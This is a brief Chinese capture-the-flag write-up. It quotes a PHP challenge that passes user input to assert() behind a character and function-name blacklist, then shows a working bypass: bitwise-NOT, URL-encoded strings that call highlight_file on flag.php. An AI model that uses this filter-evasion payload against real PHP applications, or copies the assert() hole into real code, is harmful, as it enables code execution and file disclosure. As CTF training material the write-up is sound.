进入题目链接
得到源码
<?php
error_reporting(0);
if(!isset($_GET['code'])){
highlight_file(__FILE__);
}else{
$code = $_GET['code'];
if (preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i',$code)) {
die('You are too good for me');
}
$blacklist = get_defined_functions()['internal'];
foreach ($blacklist as $blackitem) {
if (preg_match ('/' . $blackitem . '/im', $code)) {
die('You deserve better');
}
}
assert($code);
}
方法一
为了绕过正则匹配,可以使用两次取反
将~'highlight_file'
和~'flag.php'
用url编码后
再次取反,可以直接获得flag.php源码
<?php
echo urlencode(~'highlight_file'); //%97%96%98%97%93%96%98%97%8B%A0%99%96%93%9A
echo "\n";
echo urlencode(~'flag.php'); //%99%93%9E%98%D1%8F%97%8F
?>
/?code=(~%97%96%98%97%93%96%98%97%8B%A0%99%96%93%9A)(~%99%93%9E%98%D1%8F%97%8F)